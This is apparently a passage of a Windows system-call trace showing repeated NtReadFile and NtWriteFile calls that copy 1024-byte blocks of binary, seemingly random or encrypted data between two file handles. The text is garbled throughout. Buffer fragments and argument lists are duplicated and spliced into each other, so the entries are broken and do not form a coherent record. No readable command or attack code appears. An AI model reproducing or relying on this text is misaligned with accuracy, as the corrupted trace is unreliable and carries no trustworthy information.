\240\1\254\274~\321\247R\323\242u\311\342\263\245\36\227\3741\26~Z\210\177\227C\4E\342+\264*j\247'\240\253$\17u1o\145\271;t4>\274$h (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "7dgi9eC}\254\33?c,]\15w``\275q\333%\365\244\3219\2`s;(/\210S"\333\242U2d:l\352>k\266\270\246\33\37\5\224\227<\21\5c\274I\255:\242\271\353\22\1\14\273\244\246\254bh057\307+\12\372\266@\31>/\350\267M\225\235\205!\360 T\177\331\330\241U\163(X#O\21\2\362h\265\3613\267.\372Z\26pW:oq$\37HH\0\344\306\257\16!\255\253\201\310 \240\1\254\274~\321\247R\323\242u\311\342\263\245\36\227\3741\26~Z\210\177\227C\4E\342+\264*j\247'\240\253$\17u1o\145\271;t4>\274$h"ymfp~\21\237\365\36\337!U;kP#g=\351ekk<\36\356\350q)rl\367\271\216\7p\2w4o\266b?0\34J\233\304/\245\22#\14\25&\13\327<\250\7\)H\246t\25,C"U*](ii\3339]?\27\30|\34\16\13\254oJ\314\34577\3yB\223\275(\307\2110t3*\0\344lgij*>|}.?\30\343\10:\316"<\24!\334%\214$\15+\216\11.\314J+\311\2\3f\247\246\3370\271\109OY:\352N*\37\336'"}\20!\230\21$\226\275\221\37\17x\34\25>2\277c\37`\267\2\250o>{46)m\37\2066>\367\225&\334\334'5\256\273l\15\16+%\305\215)0"v3\20\25\275{\34-z\270\34\372\32\4\332\225\235\30\20\242!\302\335\333\332\255K\14\1\32~\3238b\257y\261e\37\363\177\2625!\306:;\324Q?$\227\24I\336;>s\3356\4\205&\307)\13f\33)\35\306\253Ay\312\2606\374\346\260\265\255\36\213:=\276=\351\262\352\3174\331\301\17", ) U*](ii\3339]?\27\30|\34\16\13\254oJ\314\34577\3yB\223\275(\307\2110t3*\0\344lgij*>|}.?\30\343\10:\316 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "7dgi9eC}\254\33?c,]\15w``\275q\333%\365\244\3219\2`s;(/\210S"\333\242U2d:l\352>k\266\270\246\33\37\5\224\227<\21\5c\274I\255:\242\271\353\22\1\14\273\244\246\254bh057\307+\12\372\266@\31>/\350\267M\225\235\205!\360 T\177\331\330\241U\163(X#O\21\2\362h\265\3613\267.\372Z\26pW:oq$\37HH\0\344\306\257\16!\255\253\201\310 \240\1\254\274~\321\247R\323\242u\311\342\263\245\36\227\3741\26~Z\210\177\227C\4E\342+\264*j\247'\240\253$\17u1o\145\271;t4>\274$h"ymfp~\21\237\365\36\337!U;kP#g=\351ekk<\36\356\350q)rl\367\271\216\7p\2w4o\266b?0\34J\233\304/\245\22#\14\25&\13\327<\250\7\)H\246t\25,C"U*](ii\3339]?\27\30|\34\16\13\254oJ\314\34577\3yB\223\275(\307\2110t3*\0\344lgij*>|}.?\30\343\10:\316"<\24!\334%\214$\15+\216\11.\314J+\311\2\3f\247\246\3370\271\109OY:\352N*\37\336'"}\20!\230\21$\226\275\221\37\17x\34\25>2\277c\37`\267\2\250o>{46)m\37\2066>\367\225&\334\334'5\256\273l\15\16+%\305\215)0"v3\20\25\275{\34-z\270\34\372\32\4\332\225\235\30\20\242!\302\335\333\332\255K\14\1\32~\3238b\257y\261e\37\363\177\2625!\306:;\324Q?$\227\24I\336;>s\3356\4\205&\307)\13f\33)\35\306\253Ay\312\2606\374\346\260\265\255\36\213:=\276=\351\262\352\3174\331\301\17", ) }\20!\230\21$\226\275\221\37\17x\34\25>2\277c\37`\267\2\250o>{46)m\37\2066>\367\225&\334\334'5\256\273l\15\16+%\305\215)0 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "7dgi9eC}\254\33?c,]\15w``\275q\333%\365\244\3219\2`s;(/\210S"\333\242U2d:l\352>k\266\270\246\33\37\5\224\227<\21\5c\274I\255:\242\271\353\22\1\14\273\244\246\254bh057\307+\12\372\266@\31>/\350\267M\225\235\205!\360 T\177\331\330\241U\163(X#O\21\2\362h\265\3613\267.\372Z\26pW:oq$\37HH\0\344\306\257\16!\255\253\201\310 \240\1\254\274~\321\247R\323\242u\311\342\263\245\36\227\3741\26~Z\210\177\227C\4E\342+\264*j\247'\240\253$\17u1o\145\271;t4>\274$h"ymfp~\21\237\365\36\337!U;kP#g=\351ekk<\36\356\350q)rl\367\271\216\7p\2w4o\266b?0\34J\233\304/\245\22#\14\25&\13\327<\250\7\)H\246t\25,C"U*](ii\3339]?\27\30|\34\16\13\254oJ\314\34577\3yB\223\275(\307\2110t3*\0\344lgij*>|}.?\30\343\10:\316"<\24!\334%\214$\15+\216\11.\314J+\311\2\3f\247\246\3370\271\109OY:\352N*\37\336'"}\20!\230\21$\226\275\221\37\17x\34\25>2\277c\37`\267\2\250o>{46)m\37\2066>\367\225&\334\334'5\256\273l\15\16+%\305\215)0"v3\20\25\275{\34-z\270\34\372\32\4\332\225\235\30\20\242!\302\335\333\332\255K\14\1\32~\3238b\257y\261e\37\363\177\2625!\306:;\324Q?$\227\24I\336;>s\3356\4\205&\307)\13f\33)\35\306\253Ay\312\2606\374\346\260\265\255\36\213:=\276=\351\262\352\3174\331\301\17", ) , ) == 0x0
 01169  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "%d\230\232\205;Lr7W\270\240\3622\252\233\271\205_3\335\315\220j\200'\224Y\273Q\226\10\275\210\307X\375\211\230R9\214\256\336p),D\275^\317\7m\332\305\215\256uy\204>\16\33\342\367\26|\201\304t\251K\205\244\304\263\263\34fmG\234\262\224\315\227H\376$\312\267\224]|\330\242\210\365"\340A\15\207\201\360\>\33\363\240zG>\273d\234\243\222aj|\27\372l\314K\375x\306tF\21\225P\347\377\317\352\357{:\351\321W\3561"\364e\331\270#\242\351>\345\237'\252\321\233\32\24\254\232\240\11\276\221%~B\302m\2336V0\346\304\2533|\305\232\312]Qi\327cT\236\223\367\251{\204'\323\31M\0\302\347\301\352\347\220t\234\377\346\273\23|\256\364W`Y$\215G=U\7.\251(&N\327\244\252B}\326\324E\36\330\242#\365\243\242\356D\331\350U\315\237 \204,SSC\213\376Ap\342\323D[j\365\215L\275\201\23\16\376U\201\12AX\305&}[\355(\33\371\246\23\353$\335\242\31\331\377\20\343\301J\326L\300\332\212\3170\224{\323tH\333\343\220r", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \340A\15\207\201\360\>\33\363\240zG>\273d\234\243\222aj|\27\372l\314K\375x\306tF\21\225P\347\377\317\352\357{:\351\321W\3561 (92, 0, 0, 0, "%d\230\232\205;Lr7W\270\240\3622\252\233\271\205_3\335\315\220j\200'\224Y\273Q\226\10\275\210\307X\375\211\230R9\214\256\336p),D\275^\317\7m\332\305\215\256uy\204>\16\33\342\367\26|\201\304t\251K\205\244\304\263\263\34fmG\234\262\224\315\227H\376$\312\267\224]|\330\242\210\365"\340A\15\207\201\360\>\33\363\240zG>\273d\234\243\222aj|\27\372l\314K\375x\306tF\21\225P\347\377\317\352\357{:\351\321W\3561"\364e\331\270#\242\351>\345\237'\252\321\233\32\24\254\232\240\11\276\221%~B\302m\2336V0\346\304\2533|\305\232\312]Qi\327cT\236\223\367\251{\204'\323\31M\0\302\347\301\352\347\220t\234\377\346\273\23|\256\364W`Y$\215G=U\7.\251(&N\327\244\252B}\326\324E\36\330\242#\365\243\242\356D\331\350U\315\237 \204,SSC\213\376Ap\342\323D[j\365\215L\275\201\23\16\376U\201\12AX\305&}[\355(\33\371\246\23\353$\335\242\31\331\377\20\343\301J\326L\300\332\212\3170\224{\323tH\333\343\220r", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01170  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\21\271\23\356\25..\11\25\332~\3654`^\230sh\323\222|^>w\255\335T\231\341k\245\342n7\250G;\241\245\353-\246\341\307\6\222\15\370\26\335v:\360\31k|P\360\34']\37\327<\13" \345\7?-\304)\343\11-L/\236\320\177D\226Y>4\3471\320\327 \305\303\265&9\242\334\216>T\\5v\320\217\0\364-cX.A],(_'q21\303\314teh\237:Nw\367\37\27\340}\2.)E\13\35\315\215+\365\212.\205\376\2262\360\2235\216\2208\224\235;\226\237\231?\214\273\35\222\270 \240\205#\16S\204'0('@\214-\226\377\311\23\26\20\327\32\22886:4<2>\270\24\34\22\36!\23\375\313\355\250\5e\37\312\21\337\23\12\24c\26\260\10\217\12;\17 \15]\3V\1\247\7\234\5\377&\366$w\33N\31\241\37\253\35\211\23\375\21\333\27\332\25.\14!\16\1\10\14\12{\4\237\6\353\0\352\2\303'\2 T"{\34G\36\214$\255\253*\15\13\247ssstT\270r>41\267\363,\371;\371\2749>>\213\214\215\322\0 \336=#+%)'')%+#-!/?1\315<4:6886:4", )  \345\7?-\304)\343\11-L/\236\320\177D\226Y>4\3471\320\327 \305\303\265&9\242\334\216>T\\5v\320\217\0\364-cX.A],(_'q21\303\314teh305\237\4k\270LE\234\3445##\251quMhy\177\324\246?\256\4b\252\362\364\276\273tr\276p\177\314\233\275\336\177^\334M\16M\109\22\23<\255\254'+-2\313,.\3168o\221=\223kU7\325F\312\37~[V\25\7}\32N\3207(C6u\332\16\362\303j\312\303Cz\16Ap3\362\23$u4'x\245k\273V1^ \3040BB8=x\3074\226'm\1)\244n1<(\270u=\273\3l\35:rx\275>\237:Nw\367\37\27\340}\2.)E\13\35\315\215+\365\212.\205\376\2262\360\2235\216\2208\224\235;\226\237\231?\214\273\35\222\270 \240\205#\16S\204'0('@\214-\226\377\311\23\26\20\327\32\22886:4<2>\270\24\34\22\36!\23\375\313\355\250\5e\37\312\21\337\23\12\24c\26\260\10\217\12;\17 \15]\3V\1\247\7\234\5\377&\366$w\33N\31\241\37\253\35\211\23\375\21\333\27\332\25.\14!\16\1\10\14\12{\4\237\6\353\0\352\2\303'\2 T (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\21\271\23\356\25..\11\25\332~\3654`^\230sh\323\222|^>w\255\335T\231\341k\245\342n7\250G;\241\245\353-\246\341\307\6\222\15\370\26\335v:\360\31k|P\360\34']\37\327<\13" \345\7?-\304)\343\11-L/\236\320\177D\226Y>4\3471\320\327 \305\303\265&9\242\334\216>T\\5v\320\217\0\364-cX.A],(_'q21\303\314teh\237:Nw\367\37\27\340}\2.)E\13\35\315\215+\365\212.\205\376\2262\360\2235\216\2208\224\235;\226\237\231?\214\273\35\222\270 \240\205#\16S\204'0('@\214-\226\377\311\23\26\20\327\32\22886:4<2>\270\24\34\22\36!\23\375\313\355\250\5e\37\312\21\337\23\12\24c\26\260\10\217\12;\17 \15]\3V\1\247\7\234\5\377&\366$w\33N\31\241\37\253\35\211\23\375\21\333\27\332\25.\14!\16\1\10\14\12{\4\237\6\353\0\352\2\303'\2 T"{\34G\36\214$\255\253*\15\13\247ssstT\270r>41\267\363,\371;\371\2749>>\213\214\215\322\0 \336=#+%)'')%+#-!/?1\315<4:6886:4", ) , ) == 0x0
 01171  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "J\361K\347\232`!\3\30M6\247G8\357\32K\306vkz\206Zo\2B\341j\245yw\253m\360\200\351\277\7\346\224\216\217`\7\352\7\221\264\241\316<\16\337Y3"b\17\344\30\334\377s\255\255\26\321;\376\16\334D\376\303\261\323\272\343\355H/"\26\215d/\321\12:\240z@\330\250\279\300\340\320\306\237\374\32\362>l"l\335\346t\214\17Hs\34\257\223\212\376\201\363\353\345b\35\320\200Q\341>\213\254\241\244}W\342\323i\370\203t\203\342K=\331\244a\234Rc\21\206\345m`v\305\343\12R=\214\2616\201\251\307nRU\333v\372\13j\344\220t\306\210\274\352q\231(\\326\273\32\32\371\354\1i\260\202\271\324N\275\334\335\360\5\3n\327+\263R\223O\240bf\211\241O\230\345na(\23\336\325\202sT\376\214\310\240v\210}{g\31+\230\344\336\374\3\333\261\21^\331\3c\202\06k\340H\31\3\345[D\236\13\301mE\231\205\302{\231=\323\340\317E\357e+\333\1\204)\255\347\275_\331\252\373CY>LNv\23\226\211]Ri\12\26\260~\350\177\327\267\340\207\207!\222\32\216f\253v/\345y\214\304\325\305\201\0rL\323\204\375i\7\340x\255\370\273ugv?\357\264\24\207\331\373\216E\33\315\7\2719\21\346K;\206\10X\315\203\16v\266\3249\3748\242y>\255Ap\266\246\254 \302\215\355\34\32G\335\200\227\276\307\240\254\322\335\257\26\242\200\376,\254\10\337#m\20\266R\30\354\330\312\7~\300\331\1\322\207a\2550kbm\261\237\213\353r}F\204\307T\1\225\356V\205bq\212\05\303\2\221\5mI\10\212\322\365IT\200|X\27[dN\37\212\263E\10D\356\321\216\265\2651\271//\233\266\304\365 !\324\204^\333\316", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) b\17\344\30\334\377s\255\255\26\321;\376\16\334D\376\303\261\323\272\343\355H/ (92, 0, 0, 0, "J\361K\347\232`!\3\30M6\247G8\357\32K\306vkz\206Zo\2B\341j\245yw\253m\360\200\351\277\7\346\224\216\217`\7\352\7\221\264\241\316<\16\337Y3"b\17\344\30\334\377s\255\255\26\321;\376\16\334D\376\303\261\323\272\343\355H/"\26\215d/\321\12:\240z@\330\250\279\300\340\320\306\237\374\32\362>l"l\335\346t\214\17Hs\34\257\223\212\376\201\363\353\345b\35\320\200Q\341>\213\254\241\244}W\342\323i\370\203t\203\342K=\331\244a\234Rc\21\206\345m`v\305\343\12R=\214\2616\201\251\307nRU\333v\372\13j\344\220t\306\210\274\352q\231(\\326\273\32\32\371\354\1i\260\202\271\324N\275\334\335\360\5\3n\327+\263R\223O\240bf\211\241O\230\345na(\23\336\325\202sT\376\214\310\240v\210}{g\31+\230\344\336\374\3\333\261\21^\331\3c\202\06k\340H\31\3\345[D\236\13\301mE\231\205\302{\231=\323\340\317E\357e+\333\1\204)\255\347\275_\331\252\373CY>LNv\23\226\211]Ri\12\26\260~\350\177\327\267\340\207\207!\222\32\216f\253v/\345y\214\304\325\305\201\0rL\323\204\375i\7\340x\255\370\273ugv?\357\264\24\207\331\373\216E\33\315\7\2719\21\346K;\206\10X\315\203\16v\266\3249\3748\242y>\255Ap\266\246\254 \302\215\355\34\32G\335\200\227\276\307\240\254\322\335\257\26\242\200\376,\254\10\337#m\20\266R\30\354\330\312\7~\300\331\1\322\207a\2550kbm\261\237\213\353r}F\204\307T\1\225\356V\205bq\212\05\303\2\221\5mI\10\212\322\365IT\200|X\27[dN\37\212\263E\10D\356\321\216\265\2651\271//\233\266\304\365 !\324\204^\333\316", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) l\335\346t\214\17Hs\34\257\223\212\376\201\363\353\345b\35\320\200Q\341>\213\254\241\244}W\342\323i\370\203t\203\342K=\331\244a\234Rc\21\206\345m`v\305\343\12R=\214\2616\201\251\307nRU\333v\372\13j\344\220t\306\210\274\352q\231(\\326\273\32\32\371\354\1i\260\202\271\324N\275\334\335\360\5\3n\327+\263R\223O\240bf\211\241O\230\345na(\23\336\325\202sT\376\214\310\240v\210}{g\31+\230\344\336\374\3\333\261\21^\331\3c\202\06k\340H\31\3\345[D\236\13\301mE\231\205\302{\231=\323\340\317E\357e+\333\1\204)\255\347\275_\331\252\373CY>LNv\23\226\211]Ri\12\26\260~\350\177\327\267\340\207\207!\222\32\216f\253v/\345y\214\304\325\305\201\0rL\323\204\375i\7\340x\255\370\273ugv?\357\264\24\207\331\373\216E\33\315\7\2719\21\346K;\206\10X\315\203\16v\266\3249\3748\242y>\255Ap\266\246\254 \302\215\355\34\32G\335\200\227\276\307\240\254\322\335\257\26\242\200\376,\254\10\337#m\20\266R\30\354\330\312\7~\300\331\1\322\207a\2550kbm\261\237\213\353r}F\204\307T\1\225\356V\205bq\212\05\303\2\221\5mI\10\212\322\365IT\200|X\27[dN\37\212\263E\10D\356\321\216\265\2651\271//\233\266\304\365 !\324\204^\333\316", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01172  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\335\336r2-\342R\105\346\14_0\241+\342\244/\246q5\273r4=\277v4_\375=>=>>\222[\0x\2245%\275U\244\13t\330=\5\366+.,D)Z0X1\264S\277p\34\21H\272>no~\32\302\24W^+H\276\342&\1\257'/\306c\251\17\27\224\2572D]\2626E\244R\270;A\17\275?X"\332\179\37\346\341#\16\256e$1\365\275\353"\243\373;y5\217\37>\331\357\3\277#\367\16\302*\347']\11".\352:N)v\220)7\2335-\3646\266y4>\236\354\37\32\23\34\32\3340a\200'hy>\373\32K\277\36QEU\303\274\220\24!\21\211\230\266;\11NOC\^rP47ERL\30\224T\254MJ?\35\257\263\36\35\360\177"KKVREQGK\233AH.,\3201"H\256\263\7\311\377(\372z\235<\377\11]=ZIaqk\346e"''{AOG@hVJ\266R2\302t3e\177}u\337q\376<\336>LO\M\36_\200Ta\14\347'nGJ^\13+zv|\330c\336'\340\222\247u\21\211\232je\3259\37\16\2\332\336\36IG\235\12JC\20\317\376J\2134\204|\31\307\303\21\250\233 T'\2274\264\274*\226\24\6\327\260\17\235F\2664!#\3420i\2c\204\301\237\343+\255\306\27\260\3430\2102\3520:8jo>\354+i\357\1\4\226X\27\253!l/\17\355\347\336*\22j\344#\256\200/3\341%c\2255M\14\300J1\233\33\345%&\377B)+(\254%|\177", ) \332\179\37\346\341#\16\256e$1\365\275\353356;)n1i\314\3621\21\267 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\335\336r2-\342R\105\346\14_0\241+\342\244/\246q5\273r4=\277v4_\375=>=>>\222[\0x\2245%\275U\244\13t\330=\5\366+.,D)Z0X1\264S\277p\34\21H\272>no~\32\302\24W^+H\276\342&\1\257'/\306c\251\17\27\224\2572D]\2626E\244R\270;A\17\275?X"\332\179\37\346\341#\16\256e$1\365\275\353"\243\373;y5\217\37>\331\357\3\277#\367\16\302*\347']\11".\352:N)v\220)7\2335-\3646\266y4>\236\354\37\32\23\34\32\3340a\200'hy>\373\32K\277\36QEU\303\274\220\24!\21\211\230\266;\11NOC\^rP47ERL\30\224T\254MJ?\35\257\263\36\35\360\177"KKVREQGK\233AH.,\3201"H\256\263\7\311\377(\372z\235<\377\11]=ZIaqk\346e"''{AOG@hVJ\266R2\302t3e\177}u\337q\376<\336>LO\M\36_\200Ta\14\347'nGJ^\13+zv|\330c\336'\340\222\247u\21\211\232je\3259\37\16\2\332\336\36IG\235\12JC\20\317\376J\2134\204|\31\307\303\21\250\233 T'\2274\264\274*\226\24\6\327\260\17\235F\2664!#\3420i\2c\204\301\237\343+\255\306\27\260\3430\2102\3520:8jo>\354+i\357\1\4\226X\27\253!l/\17\355\347\336*\22j\344#\256\200/3\341%c\2255M\14\300J1\233\33\345%&\377B)+(\254%|\177", ) .\352:N)v\220)7\2335-\3646\266y4>\236\354\37\32\23\34\32\3340a\2006/\13\14,\1\214 \337\273\2612\360FZ6XL9>'hy>\373\32K\277\36QEU\303\274\220\24!\21\211\230\266;\11NOC\^rP47ERL\30\224T\254MJ?\35\257\263\36\35\360\177 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\335\336r2-\342R\105\346\14_0\241+\342\244/\246q5\273r4=\277v4_\375=>=>>\222[\0x\2245%\275U\244\13t\330=\5\366+.,D)Z0X1\264S\277p\34\21H\272>no~\32\302\24W^+H\276\342&\1\257'/\306c\251\17\27\224\2572D]\2626E\244R\270;A\17\275?X"\332\179\37\346\341#\16\256e$1\365\275\353"\243\373;y5\217\37>\331\357\3\277#\367\16\302*\347']\11".\352:N)v\220)7\2335-\3646\266y4>\236\354\37\32\23\34\32\3340a\200'hy>\373\32K\277\36QEU\303\274\220\24!\21\211\230\266;\11NOC\^rP47ERL\30\224T\254MJ?\35\257\263\36\35\360\177"KKVREQGK\233AH.,\3201"H\256\263\7\311\377(\372z\235<\377\11]=ZIaqk\346e"''{AOG@hVJ\266R2\302t3e\177}u\337q\376<\336>LO\M\36_\200Ta\14\347'nGJ^\13+zv|\330c\336'\340\222\247u\21\211\232je\3259\37\16\2\332\336\36IG\235\12JC\20\317\376J\2134\204|\31\307\303\21\250\233 T'\2274\264\274*\226\24\6\327\260\17\235F\2664!#\3420i\2c\204\301\237\343+\255\306\27\260\3430\2102\3520:8jo>\354+i\357\1\4\226X\27\253!l/\17\355\347\336*\22j\344#\256\200/3\341%c\2255M\14\300J1\233\33\345%&\377B)+(\254%|\177", ) H\256\263\7\311\377(\372z\235<\377\11]=ZIaqk\346e (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\335\336r2-\342R\105\346\14_0\241+\342\244/\246q5\273r4=\277v4_\375=>=>>\222[\0x\2245%\275U\244\13t\330=\5\366+.,D)Z0X1\264S\277p\34\21H\272>no~\32\302\24W^+H\276\342&\1\257'/\306c\251\17\27\224\2572D]\2626E\244R\270;A\17\275?X"\332\179\37\346\341#\16\256e$1\365\275\353"\243\373;y5\217\37>\331\357\3\277#\367\16\302*\347']\11".\352:N)v\220)7\2335-\3646\266y4>\236\354\37\32\23\34\32\3340a\200'hy>\373\32K\277\36QEU\303\274\220\24!\21\211\230\266;\11NOC\^rP47ERL\30\224T\254MJ?\35\257\263\36\35\360\177"KKVREQGK\233AH.,\3201"H\256\263\7\311\377(\372z\235<\377\11]=ZIaqk\346e"''{AOG@hVJ\266R2\302t3e\177}u\337q\376<\336>LO\M\36_\200Ta\14\347'nGJ^\13+zv|\330c\336'\340\222\247u\21\211\232je\3259\37\16\2\332\336\36IG\235\12JC\20\317\376J\2134\204|\31\307\303\21\250\233 T'\2274\264\274*\226\24\6\327\260\17\235F\2664!#\3420i\2c\204\301\237\343+\255\306\27\260\3430\2102\3520:8jo>\354+i\357\1\4\226X\27\253!l/\17\355\347\336*\22j\344#\256\200/3\341%c\2255M\14\300J1\233\33\345%&\377B)+(\254%|\177", ) \33\345%&\377B)+(\254%|\177", ) == 0x0
 01173  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\361|\376\267\272\322\22 \32\250\340\317\24\260\200\356%W\316\20v@\373\243P\217\207\2\326cl\223>\204\12\312&8sM\31\233\306\246\255\3235Mx}\10\304\343\271\177\232%\227H6U\277N\323\375\32\347=\307_\250\235y'x\3407\9V\2142\253$*\336Q\271M\365\10\15\36\236R8o7_\202:\242\367f\36\23~\25\364\203\177\334w\251\240?\231\304Gn\222\21\10\2024C\260:\244\32\267\326\32\366\261\205\32\26\335\327\231\2417E\303\311\240je^\344\365c \254\355\255=\276\37\243w\223\304,\355\15T\5\201R\231\203\353e\317\333\262\206\236E|\27\371b>\13\202-,U\271I\4\325\246\354\245\250\3S\204>\220\252\254\237\241\3o\365\31-\12t\212\34\333\320\2779\33X\366\200Y\3736\252{T\307.\331R\363\10\226d\36\275\6`\276\312\222\244\2464:\316\I\266)\261\37\327s5\320\266\320\304\3233\300^\355,\26\306\353\21u_\13ug\3\237\300\245\332\244/\356\231\225\303\31\240)\235M\237!\307\243\301g\246\222\227\207h\361\20\357\32\235G\232\301[r\364\36\377\337\6\5\27$\205SP\33\201GT:\317I66\21&^\225\3236^V\246T\201Pe\0\31\216\314Of%\36=\307\\206.\27Z\353\350z\331\331-\371\367;\13S"\265\371\335\267\220CK\270\223"?\360\377<\217g\216\200\6\342>\330\311c\375\21\10\271\245\335\362\305\2370\234\343\333\371\326\332@lE~;u#,M\357\17\3\201#\0a9\247\222\272y\215vZ/`Wt\260>\241G\344\357\210\266W\369\365\323\345\6\366\311\256\275\240\331\11d\254n\17\254^\237\217\347\30-kNY\377\360\237\307\331\2420d\302\233\11\261yF\351\261\314N\13", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \265\371\335\267\220CK\270\223 (92, 0, 0, 0, "\361|\376\267\272\322\22 \32\250\340\317\24\260\200\356%W\316\20v@\373\243P\217\207\2\326cl\223>\204\12\312&8sM\31\233\306\246\255\3235Mx}\10\304\343\271\177\232%\227H6U\277N\323\375\32\347=\307_\250\235y'x\3407\9V\2142\253$*\336Q\271M\365\10\15\36\236R8o7_\202:\242\367f\36\23~\25\364\203\177\334w\251\240?\231\304Gn\222\21\10\2024C\260:\244\32\267\326\32\366\261\205\32\26\335\327\231\2417E\303\311\240je^\344\365c \254\355\255=\276\37\243w\223\304,\355\15T\5\201R\231\203\353e\317\333\262\206\236E|\27\371b>\13\202-,U\271I\4\325\246\354\245\250\3S\204>\220\252\254\237\241\3o\365\31-\12t\212\34\333\320\2779\33X\366\200Y\3736\252{T\307.\331R\363\10\226d\36\275\6`\276\312\222\244\2464:\316\I\266)\261\37\327s5\320\266\320\304\3233\300^\355,\26\306\353\21u_\13ug\3\237\300\245\332\244/\356\231\225\303\31\240)\235M\237!\307\243\301g\246\222\227\207h\361\20\357\32\235G\232\301[r\364\36\377\337\6\5\27$\205SP\33\201GT:\317I66\21&^\225\3236^V\246T\201Pe\0\31\216\314Of%\36=\307\\206.\27Z\353\350z\331\331-\371\367;\13S"\265\371\335\267\220CK\270\223"?\360\377<\217g\216\200\6\342>\330\311c\375\21\10\271\245\335\362\305\2370\234\343\333\371\326\332@lE~;u#,M\357\17\3\201#\0a9\247\222\272y\215vZ/`Wt\260>\241G\344\357\210\266W\369\365\323\345\6\366\311\256\275\240\331\11d\254n\17\254^\237\217\347\30-kNY\377\360\237\307\331\2420d\302\233\11\261yF\351\261\314N\13", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01174  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "t^W9-^\274aphU@S{\37eeUJe4&/sa)\13LcGHXEpZ+\17xq]9\36{c\35mOZ\20]?\236OnK\313\240\205,\255\247\200\370\177\253\271&c\2\20?\3675T6]>\306/\327\347??\277DB/\336D\342%\323QL\27\316\207,,\231\253!/+/\320'6\1$3\240\211=\260\274\7M;\257\339P.\37r\23#\343\226\361\32w Aj\273\220//\320%\0\244\213E\2246\264\374\25X2\303\111?\327\22\321\266\35\337#"#r\256R\3\230!\241/\331|\347_`e\342:\236uF7DI:\262o2>0\33\23\35\21\37/!-#+%)'\327&*$,". 0>2<4:688\3065;3=1?\24\34\22\36\20 .",$\332)'')%+#-!/?1=3;5\311886:m\334?\272Tv\247]\31\223K\345\242g\273N\273L\223(!s\344\305\360\317\10\260Y\360\26\372\356\203\320\341\36\354\217|\251\275p\3329\311\311\201\0 \242O\223\0\360\231\11+\257G\333\355\17/\260Y\211\365?\251\g\344\261\365$n\326\*\23\235\26\224\310\252\262e ptV3P\252\13--b\13,\270v\27,d$`)82@~?&\264U\14\25\223\33\232\300 suw\253W)f\273)\355**\177a\32121C\3276=\2272\366\367\256\205<\363\21\34K\225k\4)u#\27\332\243\321'\255\215+,.\245)\265\361=\267\251564\273\301\305N.k>\327\365\14\340\341\224\330\242"\347 \240\331S+vt+\357\246\30y\317$\36\3534\336\362*\39=N#m:,\236\33_\212\235'q\312_", ) #r\256R\3\230!\241/\331|\347_`e\342:\236uF7DI:\262o2>0\33\23\35\21\37/!-#+%)'\327&*$, (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "t^W9-^\274aphU@S{\37eeUJe4&/sa)\13LcGHXEpZ+\17xq]9\36{c\35mOZ\20]?\236OnK\313\240\205,\255\247\200\370\177\253\271&c\2\20?\3675T6]>\306/\327\347??\277DB/\336D\342%\323QL\27\316\207,,\231\253!/+/\320'6\1$3\240\211=\260\274\7M;\257\339P.\37r\23#\343\226\361\32w Aj\273\220//\320%\0\244\213E\2246\264\374\25X2\303\111?\327\22\321\266\35\337#"#r\256R\3\230!\241/\331|\347_`e\342:\236uF7DI:\262o2>0\33\23\35\21\37/!-#+%)'\327&*$,". 0>2<4:688\3065;3=1?\24\34\22\36\20 .",$\332)'')%+#-!/?1=3;5\311886:m\334?\272Tv\247]\31\223K\345\242g\273N\273L\223(!s\344\305\360\317\10\260Y\360\26\372\356\203\320\341\36\354\217|\251\275p\3329\311\311\201\0 \242O\223\0\360\231\11+\257G\333\355\17/\260Y\211\365?\251\g\344\261\365$n\326\*\23\235\26\224\310\252\262e ptV3P\252\13--b\13,\270v\27,d$`)82@~?&\264U\14\25\223\33\232\300 suw\253W)f\273)\355**\177a\32121C\3276=\2272\366\367\256\205<\363\21\34K\225k\4)u#\27\332\243\321'\255\215+,.\245)\265\361=\267\251564\273\301\305N.k>\327\365\14\340\341\224\330\242"\347 \240\331S+vt+\357\246\30y\317$\36\3534\336\362*\39=N#m:,\236\33_\212\235'q\312_", ) ,$\332)'')%+#-!/?1=3;5\311886:m\334?\272Tv\247]\31\223K\345\242g\273N\273L\223(!s\344\305\360\317\10\260Y\360\26\372\356\203\320\341\36\354\217|\251\275p\3329\311\311\201\0 \242O\223\0\360\231\11+\257G\333\355\17/\260Y\211\365?\251\g\344\261\365$n\326\*\23\235\26\224\310\252\262e ptV3P\252\13--b\13,\270v\27,d$`)82@~?&\264U\14\25\223\33\232\300 suw\253W)f\273)\355**\177a\32121C\3276=\2272\366\367\256\205<\363\21\34K\225k\4)u#\27\332\243\321'\255\215+,.\245)\265\361=\267\251564\273\301\305N.k>\327\365\14\340\341\224\330\242 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, 